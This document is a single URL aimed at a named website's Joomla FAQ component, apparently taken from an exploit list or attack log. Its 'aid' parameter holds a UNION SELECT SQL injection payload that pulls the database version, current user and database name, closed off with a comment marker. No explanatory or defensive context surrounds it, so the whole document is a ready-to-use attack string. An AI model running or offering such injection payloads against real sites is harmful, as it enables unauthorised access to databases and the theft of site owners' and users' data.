http://www.dsl-ru.de/index.php?option=com_simplefaq&task=answer&Itemid=9999&catid=9999&aid=1+UNION+SELECT+1,convert(concat_ws(0x3a,version(),user(),database())+using+latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20/*